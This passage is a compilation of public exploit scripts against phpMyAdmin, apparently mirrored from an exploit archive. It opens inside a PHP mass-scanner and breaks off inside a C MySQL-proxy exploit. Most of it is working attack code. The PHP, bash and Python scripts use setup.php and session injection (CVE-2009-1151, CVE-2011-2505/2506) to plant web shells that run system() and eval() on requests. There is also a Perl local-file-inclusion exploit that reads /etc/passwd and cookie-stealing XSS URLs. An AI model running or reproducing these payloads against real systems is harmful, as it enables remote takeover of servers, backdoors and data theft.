			for ($i = 0;$i < count($list); $i++)//remove the handles
			curl_multi_remove_handle($curlHandle,$curl[$i]);
			curl_multi_close($curlHandle);
			sleep(5);
		}
    }

function addHandle(&$curlHandle,$url)
{
$cURL = curl_init();
curl_setopt($cURL, CURLOPT_URL, $url);
curl_setopt($cURL, CURLOPT_HEADER, 0);
curl_setopt($cURL, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($cURL, CURLOPT_TIMEOUT, 10);
curl_multi_add_handle($curlHandle,$cURL);
return $cURL;
}
//execute the handle until the flag passed
// to function is greater then 0
function ExecHandle(&$curlHandle)
{
$flag=null;
do {
//fetch pages in parallel
curl_multi_exec($curlHandle,$flag);
} while ($flag > 0);
}

function exploit_site($url) {
	$ch = curl_init();
	curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
	curl_setopt($ch, CURLOPT_HEADER, 1);
	curl_setopt($ch, CURLOPT_TIMEOUT, 200);
	curl_setopt($ch, CURLOPT_URL, $url."scripts/setup.php");
	$result = curl_exec($ch);
	curl_close($ch);
	$ch2 = curl_init();
	curl_setopt($ch2, CURLOPT_RETURNTRANSFER, 1);
	curl_setopt($ch2, CURLOPT_HEADER, 1);
	curl_setopt($ch2, CURLOPT_TIMEOUT, 200);
	curl_setopt($ch2, CURLOPT_URL, $url."config/config.inc.php");
	$result2 = curl_exec($ch2);
	curl_close($ch2);
	//print $url;
	if (preg_match("/200 OK/", $result) and preg_match("/token/", $result) and preg_match("/200 OK/", $result2)) {
		print "\n[!] w00t! w00t! Found possible phpMyAdmin vuln";
		print "\n[+] Exploiting, wait sec..\n";
		$Handlex = FOpen("pmaPWN.log", "a+");
		FWrite($Handlex, "\n[!] w00t! w00t! Found possible phpMyAdmin vuln");
		FWrite($Handlex, "\n[+] Exploiting, wait sec..\n");
		FClose($Handlex);
		exploit($url);
	}
	else {
		$Handlex = FOpen("pmaPWN.log", "a+");
		print "\n[-] Shit! no luck.. not vulnerable\n";
		FWrite($Handlex, "\n[-] Shit! no luck.. not vulnerable\n");
		FClose($Handlex);
	}
}

	function exploit($w00t) {
		$Handlex = FOpen("pmaPWN.log", "a+");
		$useragent = "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.20 (.NET CLR 3.5.30729) "; //firefox 
		//first get cookie + token 
		$curl = curl_init(); 
		curl_setopt($curl, CURLOPT_URL, $w00t."scripts/setup.php"); //URL 
		curl_setopt($curl, CURLOPT_CONNECTTIMEOUT, 20);
		curl_setopt($curl, CURLOPT_USERAGENT, $useragent); 
		curl_setopt($curl, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($curl, CURLOPT_TIMEOUT, 200); 
		curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false); 
		curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, false); 		
		curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); //return site as string 
		curl_setopt($curl, CURLOPT_COOKIEFILE, "exploitcookie.txt"); 
		curl_setopt($curl, CURLOPT_COOKIEJAR, "exploitcookie.txt"); 
		$result = curl_exec($curl);
		curl_close($curl);
		if (preg_match_all("/token\"\s+value=\"([^>]+?)\"/", $result, $matches));
		
		$token = $matches[1][1];
		if ($token != '') {
		print "\n[!] w00t! w00t! Got token = " . $matches[1][1];
		FWrite($Handlex, "\n[!] w00t! w00t! Got token = " . $matches[1][1]);
		$payload = "token=".$token."&action=save&configuration=a:1:{s:7:%22Servers%22%3ba:1:{i:0%3ba:6:{s:136:%22host%27%5d=%27%27%3b%20if(\$_GET%5b%27c%27%5d){echo%20%27%3cpre%3e%27%3bsystem(\$_GET%5b%27c%27%5d)%3becho%20%27%3c/pre%3e%27%3b}if(\$_GET%5b%27p%27%5d){echo%20%27%3cpre%3e%27%3beval(\$_GET%5b%27p%27%5d)%3becho%20%27%3c/pre%3e%27%3b}%3b//%22%3bs:9:%22localhost%22%3bs:9:%22extension%22%3bs:6:%22mysqli%22%3bs:12:%22connect_type%22%3bs:3:%22tcp%22%3bs:8:%22compress%22%3bb:0%3bs:9:%22auth_type%22%3bs:6:%22config%22%3bs:4:%22user%22%3bs:4:%22root%22%3b}}}&eoltype=unix";
		print "\n[+] Sending evil payload mwahaha.. \n";
		FWrite($Handlex, "\n[+] Sending evil payload mwahaha.. \n");
		$curl = curl_init(); 
		curl_setopt($curl, CURLOPT_URL, $w00t."scripts/setup.php"); 
		curl_setopt($curl, CURLOPT_CONNECTTIMEOUT, 20);
		curl_setopt($curl, CURLOPT_TIMEOUT, 200);
		curl_setopt($curl, CURLOPT_USERAGENT, $useragent); 
		curl_setopt($curl, CURLOPT_REFERER, $w00t); 
		curl_setopt($curl, CURLOPT_POST, true); 
		curl_setopt($curl, CURLOPT_POSTFIELDS, $payload); 
		curl_setopt($curl, CURLOPT_COOKIEFILE, "exploitcookie.txt"); 
		curl_setopt($curl, CURLOPT_COOKIEJAR, "exploitcookie.txt"); 
		curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 3); 
		curl_setopt($curl, CURLOPT_FOLLOWLOCATION, 1); 
		curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); 
		curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, FALSE); 
		$result = curl_exec($curl);
		curl_close($curl);
		
		print "\n[!] w00t! w00t! You should now have shell here";
		print "\n[+] ".$w00t."config/config.inc.php?c=id \n";
		print "\n[!] Saved. Dont forget to check `pmaPWN.log`\n";
		FWrite($Handlex, "\n[!] w00t! w00t! You should now have shell here");
		FWrite($Handlex, "\n[+] ".$w00t."config/config.inc.php?c=id \n");
		
		}
		else {
			print "\n[!] Shit! no luck.. not vulnerable\n";
			FWrite($Handlex, "\n[!] Shit! no luck.. not vulnerable\n");
			return false;
		}
		FClose($Handlex);
		if (file_exists('exploitcookie.txt')) { unlink('exploitcookie.txt'); }
		//exit();
	}

?>

# milw0rm.com [2009-06-22]


cXIb8O3/phpMyAdmin 2.6.4-pl1 Remote Directory Traversal Exploit ( php)

#!/usr/bin/perl
use IO::Socket;

# SecurityReason.com TEAM
# Maksymilian Arciemowicz ( cXIb8O3 ) cxib@securtiyreason.com
#
# Local file inclusion (./$FILE)
# simple exploit phpMyAdmin 2.6.4-pl1
#
#
# SecurityReason.com

if (@ARGV < 3)
{
print "\r\n SecurityReason TEAM\r\n";
print "[cXIb8O3] EXPLOIT for phpMyAdmin 2.6.4-pl1\r\n";
print " \r\n";
print "perl phpmyadmin-2.6.4-pl1.pl HOST /DIR/ FILE\r\n\r\n";
print "HOST - Host where is phpmyadmin example: http://localhost\r\n";
print "DIR - Directory to PMA example: /phpMyAdmin-2.6.4-pl1/\r\n";
print "FILE - file to inclusion ../../../../../etc/passwd\r\n\r\n";
print "example cmd: perl phpmyadmin-2.6.4-pl1.pl http://localhost /phpMyAdmin-2.6.4-pl1/ ../../../../../etc/passwd\r\n\r\n";
exit();
}

$HOST = $ARGV[0];
$DIR = $ARGV[1]."libraries/grab_globals.lib.php";
$FILE = "usesubform[1]=1&usesubform[2]=1&subform[1][redirect]=".$ARGV[2]."&subform[1][cXIb8O3]=1";
$LENGTH = length $FILE;

print "\r\nATTACK HOST IS: ".$HOST."\r\n\r\n";
$HOST =~ s/(http:\/\/)//;

$get1 = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$HOST", PeerPort => "80") || die "Error 404\r\n\r\n";

print $get1 "POST ".$DIR." HTTP/1.0\n";
print $get1 "Host: ".$HOST."\n";
print $get1 "Content-Type: application/x-www-form-urlencoded\n";
print $get1 "Content-Length: ".$LENGTH."\n\n";

print $get1 $FILE;

while ($odp = <$get1>)
{
if ($odp =~ /<b>Warning<\/b>: main\(\): Unable to access .\/$ARGV[2] in <b>/ ) {
printf "\n\nFile ".$ARGV[2]." no exists.\r\n\r\n";
exit;
}

printf $odp;
}

# milw0rm.com [2005-10-10]


cp77fk4r/phpMyAdmin 2.6.3-pl1 Cross Site Scripting and Full Path ( php)

# Exploit Title: phpMyAdmin 2.6.3-pl1 Cross Site Scripting and Full Path
Disclosure.
# Date: 20/04/10
# Author: cp77fk4r | empty0page[SHIFT+2]gmail.com | www.DigitalWhisper.co.il
# Software Link: www.phpmyadmin.net |
http://www.phpmyadmin.net/home_page/downloads.php
# Version: 2.6.3-pl1
# Tested on: PHP
#
##[Cross Site Scripting]*
(Cross-Site Scripting attacks are a type of injection problem, in which
malicious scripts are injected into the otherwise benign and trusted web
sites. Cross-site scripting (XSS) attacks occur when an attacker uses a web
application to send malicious code, generally in the form of a browser side
script, to a different end user. Flaws that allow these attacks to succeed
are quite widespread and occur anywhere a web application uses input from a
user in the output it generates without validating or encoding it)
http://
[server]/phpmyadmin/left.php?lang=he-iso-8859-8-i&server=1&hash=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
#
#
##[FULL PATH DICSLOSURE]**
(Full Path Disclosure (FPD) vulnerabilities enable the attacker to see the
path to the webroot/file. e.g.: /home/omg/htdocs/file/. Certain
vulnerabilities, such as using the load_file() (within a SQL Injection)
query to view the page source, require the attacker to have the full path to
the file they wish to view. (OWASP))
#
http://
[server]/phpmyadmin/sql.php?lang=he-iso-8859-8-i&server=1&db=x&table=x&sql_query=1'
#
Will returne:
#
Fatal error: Cannot use string offset as an array in [FPD] on line 901
#
#
*The victim must be logged in.
**The attacker must be logged in.
#
#
[e0f]

Adrian "pagvac" P./phpMyAdmin (/scripts/setup.php) PHP Code Injection Exploit ( php)

#!/bin/bash

# CVE-2009-1151: phpMyAdmin '/scripts/setup.php' PHP Code Injection RCE PoC v0.11
# by pagvac (gnucitizen.org), 4th June 2009.
# special thanks to Greg Ose (labs.neohapsis.com) for discovering such a cool vuln, 
# and to str0ke (milw0rm.com) for testing this PoC script and providing feedback!

# PoC script successfully tested on the following targets:
# phpMyAdmin 2.11.4, 2.11.9.3, 2.11.9.4, 3.0.0 and 3.0.1.1
# Linux 2.6.24-24-generic i686 GNU/Linux (Ubuntu 8.04.2)

# attack requirements:
# 1) vulnerable version (obviously!): 2.11.x before 2.11.9.5
# and 3.x before 3.1.3.1 according to PMASA-2009-3
# 2) it *seems* this vuln can only be exploited against environments
# where the administrator has chosen to install phpMyAdmin following
# the *wizard* method, rather than manual method: http://snipurl.com/jhjxx
# 3) administrator must have NOT deleted the '/config/' directory
# within the '/phpMyAdmin/' directory. this is because this directory is
# where '/scripts/setup.php' tries to create 'config.inc.php' which is where
# our evil PHP code is injected 8)

# more info on:
# http://www.phpmyadmin.net/home_page/security/PMASA-2009-3.php
# http://labs.neohapsis.com/2009/04/06/about-cve-2009-1151/

if [[ $# -ne 1 ]]
then
	echo "usage: ./$(basename $0) <phpMyAdmin_base_URL>"
	echo "i.e.: ./$(basename $0) http://target.tld/phpMyAdmin/"
	exit
fi

if ! which curl >/dev/null
then
	echo "sorry but you need curl for this script to work!"
       	echo "on Debian/Ubuntu: sudo apt-get install curl"
       	exit
fi


function exploit {

postdata="token=$1&action=save&configuration="\
"a:1:{s:7:%22Servers%22%3ba:1:{i:0%3ba:6:{s:23:%22host%27]="\
"%27%27%3b%20phpinfo%28%29%3b//%22%3bs:9:%22localhost%22%3bs:9:"\
"%22extension%22%3bs:6:%22mysqli%22%3bs:12:%22connect_type%22%3bs:3:"\
"%22tcp%22%3bs:8:%22compress%22%3bb:0%3bs:9:%22auth_type%22%3bs:6:"\
"%22config%22%3bs:4:%22user%22%3bs:4:%22root%22%3b}}}&eoltype=unix"

postdata2="token=$1&action=save&configuration=a:1:"\
"{s:7:%22Servers%22%3ba:1:{i:0%3ba:6:{s:136:%22host%27%5d="\
"%27%27%3b%20if(\$_GET%5b%27c%27%5d){echo%20%27%3cpre%3e%27%3b"\
"system(\$_GET%5b%27c%27%5d)%3becho%20%27%3c/pre%3e%27%3b}"\
"if(\$_GET%5b%27p%27%5d){echo%20%27%3cpre%3e%27%3beval"\
"(\$_GET%5b%27p%27%5d)%3becho%20%27%3c/pre%3e%27%3b}%3b//"\
"%22%3bs:9:%22localhost%22%3bs:9:%22extension%22%3bs:6:%22"\
"mysqli%22%3bs:12:%22connect_type%22%3bs:3:%22tcp%22%3bs:8:"\
"%22compress%22%3bb:0%3bs:9:%22auth_type%22%3bs:6:%22config"\
"%22%3bs:4:%22user%22%3bs:4:%22root%22%3b}}}&eoltype=unix"

	flag="/tmp/$(basename $0).$RANDOM.phpinfo.flag.html"
	
	echo "[+] attempting to inject phpinfo() ..."
	curl -ks -b $2 -d "$postdata" --url "$3/scripts/setup.php" >/dev/null

	if curl -ks --url "$3/config/config.inc.php" | grep "phpinfo()" >/dev/null
	then
		curl -ks --url "$3/config/config.inc.php" >$flag	
		echo "[+] success! phpinfo() injected successfully! output saved on $flag"
		curl -ks -b $2 -d $postdata2 --url "$3/scripts/setup.php" >/dev/null
		echo "[+] you *should* now be able to remotely run shell commands and PHP code using your browser. i.e.:"
		echo "    $3/config/config.inc.php?c=ls+-l+/"
		echo "    $3/config/config.inc.php?p=phpinfo();"
		echo "    please send any feedback/improvements for this script to"\
		"unknown.pentester<AT_sign__here>gmail.com"
	else
		echo "[+] no luck injecting to $3/config/config.inc.php :("
		exit
	fi
}
# end of exploit function

cookiejar="/tmp/$(basename $0).$RANDOM.txt"
token=`curl -ks -c $cookiejar --url "$1/scripts/setup.php" | grep \"token\" | head -n 1 | cut -d \" -f 12`
echo "[+] checking if phpMyAdmin exists on URL provided ..."

#if grep phpMyAdmin $cookiejar 2>/dev/null > /dev/null
if grep phpMyAdmin $cookiejar &>/dev/null
then
	length=`echo -n $token | wc -c`

	# valid form token obtained?
	if [[ $length -eq 32 ]]
	then
		echo "[+] phpMyAdmin cookie and form token received successfully. Good!"
		# attempt exploit!
		exploit $token $cookiejar $1
	else
		echo "[+] could not grab form token. you might want to try exploiting the vuln manually :("
		exit
	fi
else
	echo "[+] phpMyAdmin NOT found! phpMyAdmin base URL incorrectly typed? wrong case-sensitivity?"
	exit
fi

# milw0rm.com [2009-06-09]


Mango/phpMyAdmin 3.x Swekey Remote Code Injection Exploit ( php)

<?php /*
# Exploit Title: phpMyAdmin 3.x Swekey Remote Code Injection Exploit
# Date: 2011-07-09
# Author: Mango of ha.xxor.se
# Version: phpMyAdmin < 3.3.10.2 || phpMyAdmin < 3.4.3.1 
# CVE : CVE-2011-2505, CVE-2011-2506
# Advisory: http://www.xxor.se/advisories/phpMyAdmin_3.x_Multiple_Remote_Code_Executions.txt
# Details: http://ha.xxor.se/2011/07/phpmyadmin-3x-multiple-remote-code.html
*/
echo php_sapi_name()!=='cli'?'<pre>':'';?>
              .
       ,      )\     .
  .  ,/)   , /  ) ,  )\
  )\(  /)/( (__( /( /  )          __      __              ________        __                    __
 /  \  (   )|  |)  \  /          |  |\  /|  |            |  |  |  |      |  |                  (__)
(  ______ / |  |_____(  ______   |  | \/ |  |  __    __  |  |__|  |   ___|  |  __ ___________   __   __ _____
 \|  | \  \ |  |  |  |)|  | \  \ |  |    |  | |  |  |  | |  |  |  | /  / |  | |  |  |  |  |  | |  | |  |  |  |
  |  |_/__/ |__|  |__| |  |_/__/ |__|    |__| |__|__|  | |__| [][]|[]__[]|[][]|_[]  |_[][]|_[] [][][]__|  |__|
==|__|=================|__|=========================|__|======[]====[][]=|[]|[]=[]===[]==[]=[]===[]==============    
   phpMyAdmin < 3.3.10.2 || phpMyAdmin < 3.4.3.1              [][]   []   [][]  []   []  [] []   []
   Remote Code Injection                                      []    [][]  []    []   []  [] []   []
   http://ha.xxor.se                                          [][] []  [] []    [][]  [][]  []   [] 
	 _   _  ___ __ ____ __ ___  ___       
	| |-| || _ |\   /\   /| _ ||   )      
	|_|-|_||_|_|/_._\/_._\|___||_|_\      
  ___  ___  ___ _  _  ___     ___ __ __  
 (  < | [_ /  /| || ||   )(_)|   |\ | /
  >__)|_[_ \__\|____||_|_\|_| |_|  |_|

Use responsibly.

<?php echo php_sapi_name()!=='cli'?'</pre>':'';

if(php_sapi_name()==='cli'){
	if(!isset($argv[1])){
		output("   Usage\n    ".$argv[0]." http://example.com/phpMyAdmin-3.3.9.2");
		killme();
	}
	$pmaurl = $argv[1];	
}else{
	$pmaurl = isset($_REQUEST['url'])?$_REQUEST['url']:'';
}
$code   = 'foreach($_GET as $k=>$v)if($k==="eval")eval($v);';
$cookie = null;
$token  = null;
if(!function_exists('curl_init')){
	output('[!] Fatal error. Need cURL!');
	killme();
}
$ch     = curl_init();
$debug  = 0;
if(php_sapi_name()!=='cli'){
?>
<form method=post>
URL: <input name=url value="<?php echo htmlspecialchars($pmaurl);?>"> Example: http://localhost:8080/phpMyAdmin-3.3.9.2<br/>
<input name=submit type=submit value=♥>
</form>
<pre>
<?php
if(!isset($_REQUEST['submit']))killme(true);
}

output("[i] Running...");

// Start a session and get a token
curl_setopt_array($ch, array(
	CURLOPT_URL => $pmaurl.'/setup/index.php',
	CURLOPT_HEADER => 1,
	CURLOPT_RETURNTRANSFER => 1,
	CURLOPT_TIMEOUT => 4,
	CURLOPT_SSL_VERIFYPEER => false,
	CURLOPT_SSL_VERIFYHOST => false
));
output("[*] Contacting server to retrive session cookie and token.");

$result = curl_exec($ch);
if(404 == curl_getinfo($ch, CURLINFO_HTTP_CODE)){
	output("[!] Fail. $pmaurl/setup/index.php returned 404. The host is not vulnerable or there is a problem with the supplied url.");
	killme();
}
if(!$result){
	output("[!] cURL error:".curl_error($ch));
	killme();
}
if(false !== strpos($result, 'Cannot load or save configuration')){
	output("[!] Fail. Host not vulnerable. Web server writable folder $pmaurl/config/ does not exsist.");
	killme();
}

// Extract cookie
preg_match('/phpMyAdmin=([^;]+)/', $result, $matches);
$cookie = $matches[1];
output("[i] Cookie:".$cookie);
// Extract token
preg_match('/(token=|token" value=")([0-9a-f]{32})/', $result, $matches);
$token = $matches[2];
output("[i] Token:".$token);

// Poison _SESSION variable
curl_setopt($ch, CURLOPT_URL, $pmaurl.'/?_SESSION[ConfigFile][Servers][*/'.urlencode($code).'/*][port]=0&session_to_unset=x&token='.$token);
curl_setopt($ch, CURLOPT_COOKIE, 'phpMyAdmin='.$cookie);
output("[*] Contacting server to inject code into the _SESSION[ConfigFile][Servers] array.");
if(!$result = curl_exec($ch)){
	output("[!] cURL error:".curl_error($ch));
	killme();
}

//echo htmlspecialchars($result,ENT_QUOTES);

// Save file
curl_setopt($ch, CURLOPT_URL, $pmaurl.'/setup/config.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, 'submit_save=Save&token='.$token);
output("[*] Contacting server to make it save the injected code to a file.");
if(!$result = curl_exec($ch)){
	output("[!] cURL error:".curl_error($ch));
	killme();
}

//echo htmlspecialchars($result,ENT_QUOTES);

curl_setopt($ch, CURLOPT_URL, $pmaurl.'/config/config.inc.php?eval=echo%20md5(123);');
curl_setopt($ch, CURLOPT_POST, 0);
output("[*] Contacting server to test if the injected code executes.");
if(!$result = curl_exec($ch)){
	output("[!] cURL error:".curl_error($ch));
	killme();
}
if(preg_match('/202cb962ac59075b964b07152d234b70/', $result)){
	output("[!] Code injection successfull. This instance of phpMyAdmin is vulnerable!");
	output("[+] Use your browser to execute PHP code like this $pmaurl/config/config.inc.php?eval=echo%20'test';");
}else{
	output("[!] Code injection failed. This instance of phpMyAdmin does not apear to be vulnerable.");
}


curl_close($ch);

function output($msg){
	echo php_sapi_name()!=='cli'?htmlspecialchars("$msg\n",ENT_QUOTES):"$msg\n";
	flush();
}

function killme(){
	output("[*] Exiting...");
	echo php_sapi_name()!=='cli'?'<pre>':'';
	die();
}

echo php_sapi_name()!=='cli'?'<pre>':'';?>

wofeiwo/phpMyAdmin3 (pma3) Remote Code Execution Exploit ( php)

#!/usr/bin/env python
# coding=utf-8
# pma3 - phpMyAdmin3 remote code execute exploit
# Author: wofeiwo<wofeiwo@80sec.com>
# Thx Superhei
# Tested on: 3.1.1, 3.2.1, 3.4.3
# CVE: CVE-2011-2505, CVE-2011-2506
# Date: 2011-07-08
# Have fun, DO *NOT* USE IT TO DO BAD THING.
################################################

# Requirements: 1. "config" directory must created&writeable in pma directory.
#               2. session.auto_start = 1 in php.ini configuration.


import os,sys,urllib2,re

def usage(program):
    print "PMA3 (Version below 3.3.10.2 and 3.4.3.1) remote code
execute exploit"
    print "Usage: %s <PMA_url>" % program
    print "Example: %s http://www.test.com/phpMyAdmin" % program
    sys.exit(0)

def main(args):
    try:
        if len(args) < 2:
            usage(args[0])

        if args[1][-1] == "/":
            args[1] = args[1][:-1]

        # ��һ������ȡtoken��sessionid��sessionid��phpMyAdmin��ֵ��һ�µ�
        print "[+] Trying get form token&session_id.."
        content = urllib2.urlopen(args[1]+"/index.php").read()
        r1 = re.findall("token=(\w{32})", content)
        r2 = re.findall("phpMyAdmin=(\w{32,40})", content)

        if not r1:
            r1 = re.findall("token\" value=\"(\w{32})\"", content)
        if not r2:
            r2 = re.findall("phpMyAdmin\" value=\"(\w{32,40})\"", content)
        if len(r1) < 1 or len(r2) < 1:
            print "[-] Cannot find form token and session id...exit."
            sys.exit(-1)

        token = r1[0]
        sessionid = r2[0]
        print "[+] Token: %s , SessionID: %s" % (token, sessionid)

         # �ڶ�����ͨ��swekey.auth.lib.php����$_SESSION��ֵ
        print "[+] Trying to insert payload in $_SESSION.."
        uri = "/libraries/auth/swekey/swekey.auth.lib.php?session_to_unset=HelloThere&_SESSION[ConfigFile0][Servers][*/eval(getenv('HTTP_CODE'));/*][host]=Hacked+By+PMA&_SESSION[ConfigFile][Servers][*/eval(getenv('HTTP_CODE'));/*][host]=Hacked+By+PMA"
        url = args[1]+uri

        opener = urllib2.build_opener()
        opener.addheaders.append(('Cookie', 'phpMyAdmin=%s;
pma_lang=en; pma_mcrypt_iv=ILXfl5RoJxQ%%3D; PHPSESSID=%s;' %
(sessionid, sessionid)))
        urllib2.install_opener(opener)
        urllib2.urlopen(url)

        # ����setup��ȡshell
        print "[+] Trying get webshell.."
        postdata =
"phpMyAdmin=%s&tab_hash=&token=%s&check_page_refresh=&DefaultLang=en&ServerDefault=0&eol=unix&submit_save=Save"
% (sessionid, token)
        url = args[1]+"/setup/config.php"

        # print "[+]Postdata: %s" % postdata
        urllib2.urlopen(url, postdata)
        print "[+] All done, pray for your lucky!"

        # ���IJ����������shell
        url = args[1]+"/config/config.inc.php"
        opener.addheaders.append(('Code', 'phpinfo();'))
        urllib2.install_opener(opener)
        print "[+] Trying connect shell: %s" % url
        result = re.findall("System \</td\>\<td
class=\"v\"\>(.*)\</td\>\</tr\>", urllib2.urlopen(url).read())
        if len(result) == 1:
            print "[+] Lucky u! System info: %s"  % result[0]
            print "[+] Shellcode is: eval(getenv('HTTP_CODE'));"

        else:
            print "[-] Cannot get webshell."

    except Exception, e:
        print e

if __name__ == "__main__" : main(sys.argv)


Nasir Simbolon/phpMyAdmin 2.5.7 Remote code injection Exploit ( php)

/*    
 * phpmy-explt.c  
 * written by Nasir Simbolon <nasir kecapi com>
 * eagle kecapi com
 * Jakarta, Indonesia
 * 
 * June, 10 2004 
 * 
 * A phpMyAdmin-2.5.7 exploite program.
 * This is a kind of   mysql server wrapper  acts like a proxy except that it will sends a fake table name,
 * when client query "SHOW TABLES",  by replacing the real table name with a string contains exploite codes.
 *
 * Compile : gcc phpmy-explt.c -o phpmy-explt
 *
 * run with
 * ./phpmy-explt
 *
 * and go to your target and put 
 *
 * http://target/phpMyAdmin-2.5.7/left.php?server=4&cfg[Servers][4][host]=
 * attacker.host.com&cfg[Servers][4][port]=8889&cfg[Servers][4][auth_type]=config&cfg[Servers]
 * [4][user]=user&cfg[Servers][4][password]=pass&cfg[Servers][4][connect_type]=tcp&&cfg[Servers]
 * [4][only_db]=databasename
 *
 * fill host,port,user,pass and databasename correctly
 *
 */


#include<stdio.h>
#include<sys/socket.h>
#include<netdb.h>

#define BIND_PORT 8889
#define MYSQL_PORT 3306
#define HOSTNAME "localhost"
#define DATABASE "phpmy"


#define BUFFER_LEN 1024

/* This is php code we want to inject into phpMyAdmin 
   Do NOT use  single quote (') in the string, use double quote (") instead
*/
char *phpcodes = "exec(\"touch /tmp/your-phpmyadmin-is-vulnerable\");";


  /* This is examples codes I captured when mysql server
     reply to client's request of query "SHOW TABLES" query.
     It shows  database  name 'phpmy' and contain one tablename  'mytable'
     Our aim is to manipulate the data received from mysql server
     by replacing 'mytable' with our exploide codes.
     
     0x1 ,0x0 ,0x0 ,0x1 ,0x1 ,0x1b,0x0 ,0x0 ,0x2 ,0x0 ,
     0xf ,'T' ,'a' ,'b' ,'l' ,'e' ,'s' ,'_' ,'i' ,'n' ,
     '_' ,'p' ,'h' ,'p' ,'m' ,'y' ,0x3 ,0x40,0x0 ,0x0 ,
     0x1 ,-2  ,0x3 ,0x1 ,0x0 ,0x1f,0x1 ,0x0 ,0x0 ,0x3 ,
     -2  ,8  ,0x0 ,0x0 ,0x4 ,7   ,'m' ,'y' ,'t' ,'a' ,
     'b' ,'l' ,'e' ,0x1 ,0   ,0   ,0x5 ,-2
  */


int build_exploite_code(char* dbname,char* phpcodes,char** expcode)
{	
   char my1[21] = {0x1 ,0x0 ,0x0 ,0x1 ,0x1 ,0x1b,0x0 ,0x0 ,0x2 ,0x0 ,
     	 	   0xf ,'T' ,'a' ,'b' ,'l' ,'e' ,'s' ,'_' ,'i' ,'n' ,
     		   '_'}; 
   /* part of dbname     ('p' ,'h' ,'p' ,'m' ,'y') */
   char my2[15] = {0x3 ,0x40,0x0 ,0x0 ,0x1 ,-2  ,0x3 ,0x1 ,0x0 ,0x1f,
	           0x1 ,0x0 ,0x0 ,0x3 ,-2};  
   /* part of int phpcodes string length +1   (8) */ 
   char my3[3]  = {0x0 ,0x0 ,0x4};
   /* part of int phpcodes string length      (7) */ 
   /* part of tablename    ('m' ,'y' ,'t' ,'a' ,'b' ,'l' ,'e' ) */
   char my4[5]  = {0x1 ,0   ,0   ,0x5 ,-2};
	
   int len,i;

   len = 21 + strlen(dbname) + 15 + 1 + 3 + 1 +  strlen(phpcodes) + 5 + 5;
   *expcode = (char*) malloc(sizeof(char) * len); 
   
   i = 0;
   bcopy(&my1[0],*expcode + i,21);
   i += 21;
   bcopy(dbname, *expcode + i,strlen(dbname));
   i += strlen(dbname);
   bcopy(&my2[0],*expcode + i,15);
   i += 15;
   (*expcode)[i] = 5 + strlen(phpcodes) + 1;
   i ++;
   bcopy(&my3[0],*expcode + i,3);
   i += 3;  
   (*expcode)[i++] = 5 + strlen(phpcodes) ;
   /* this is our exploite codes*/
   (*expcode)[i++] = '\\'; 
   (*expcode)[i++] = '\''; 
   (*expcode)[i++] = ';'; 
   bcopy(phpcodes,*expcode + i,strlen(phpcodes));
   i += strlen(phpcodes);
   (*expcode)[i++] = '/'; 
   (*expcode)[i++] = '*'; 
   bcopy(&my4[0],*expcode + i,5);
   
   return len;
}

/* connect to mysql server*/

int connect_mysql()
{
    int s2;
    struct sockaddr_in ina;
    struct hostent *h;
    
    h = gethostbyname(HOSTNAME);
    /* set internet address */
    bcopy(h->h_addr,(void *)&ina.sin_addr,h->h_length);
    ina.sin_family = AF_INET;
    ina.sin_port = htons(MYSQL_PORT);
    //ina.sin_zero[0]='\0';
    if((s2=socket(AF_INET,SOCK_STREAM,0)) < 0) 
  	perror("Socket: ");
    
    if(connect(s2,(struct sockaddr *)&ina,sizeof(ina)) < 0 )
	                   perror("connect()");
    return s2;
}

/* listener */
int listener()
{
    int s1;
    int opt;
    struct sockaddr_in ina;

    /* set internet address */
    ina.sin_family = AF_INET;
    ina.sin_port = htons(BIND_PORT);
    ina.sin_addr.s_addr = INADDR_ANY;

    if((s1=socket(AF_INET,SOCK_STREAM,0)) < 0) 
  	perror("Socket: ");
    
    opt = 1;
    setsockopt(s1,SOL_SOCKET, SO_REUSEADDR , (char *)&opt, sizeof(opt) );
       
    if(bind(s1,(struct sockaddr *)&ina,sizeof(ina))==-1) 
	perror("Bind: ");
	
    if(listen(s1, 10) == -1) 
  	perror("Listen"); 
	
   return s1;
}


int main(int argc,char* argv[])
{
	struct sockaddr_in ina1;
	int ina1_l;
	int s_daemon,s_mysql;
	size_t byte_read,byte_written;
	char *buf;
	int sc,event,n_select;
	fd_set rfds;
        struct timeval tv;	 
	int exptlen,i;
	char *expt;
	char *dbname=DATABASE;
	
	buf = (char*) malloc(sizeof(char) * (BUFFER_LEN));
	tv.tv_sec  = 15;
	tv.tv_usec = 0;
	
	/* we listen to port */
	 s_daemon = listener();
    
	exptlen = build_exploite_code(dbname,phpcodes,&expt);

	for(;;) 
	{
	   fprintf(stderr,"waiting for connection\n");
	   
	   if( -1 == (sc = accept(s_daemon,(struct sockaddr *) &ina1,&ina1_l)) ) 
		  perror("accept()");
	   /* if we get here, we have a new connection */
	   fprintf(stderr,"got client connection\n");
mysql:
	   /* connect to mysql */
	   s_mysql = connect_mysql();
        
	   for(;;) 
	    {
	   	FD_ZERO(&rfds);
	        FD_SET(sc,&rfds);
  	   	FD_SET(s_mysql,&rfds);                                
		
	        n_select = (sc > s_mysql)? sc : s_mysql;

	    	event = select(n_select+1,&rfds,NULL,NULL,NULL);
	    	if(-1  == event) 
		    perror("select()");
	        else 
		{	
		    if(FD_ISSET(s_mysql,&rfds)) 
		     {
			byte_read = read(s_mysql,buf,BUFFER_LEN);
		    	/* check for closing client connection*/
		    	if(byte_read == 0) 
	  	        {
			   shutdown(s_mysql,SHUT_RDWR);
			   close(s_mysql);
			   goto mysql;
		        }

			 /* check data received from mysql server.
			  * if  buf[11] contain 'T', data received from   mysq server is table list
			  *
			  * NOW we replace the table with our exploite codes and send them to client
			  */
		        if( 'T' == buf[11])
			{
		           for(i=0;i<exptlen;i++) 
		              buf[i] = expt[i];
		           byte_read = exptlen;
		        }
		       
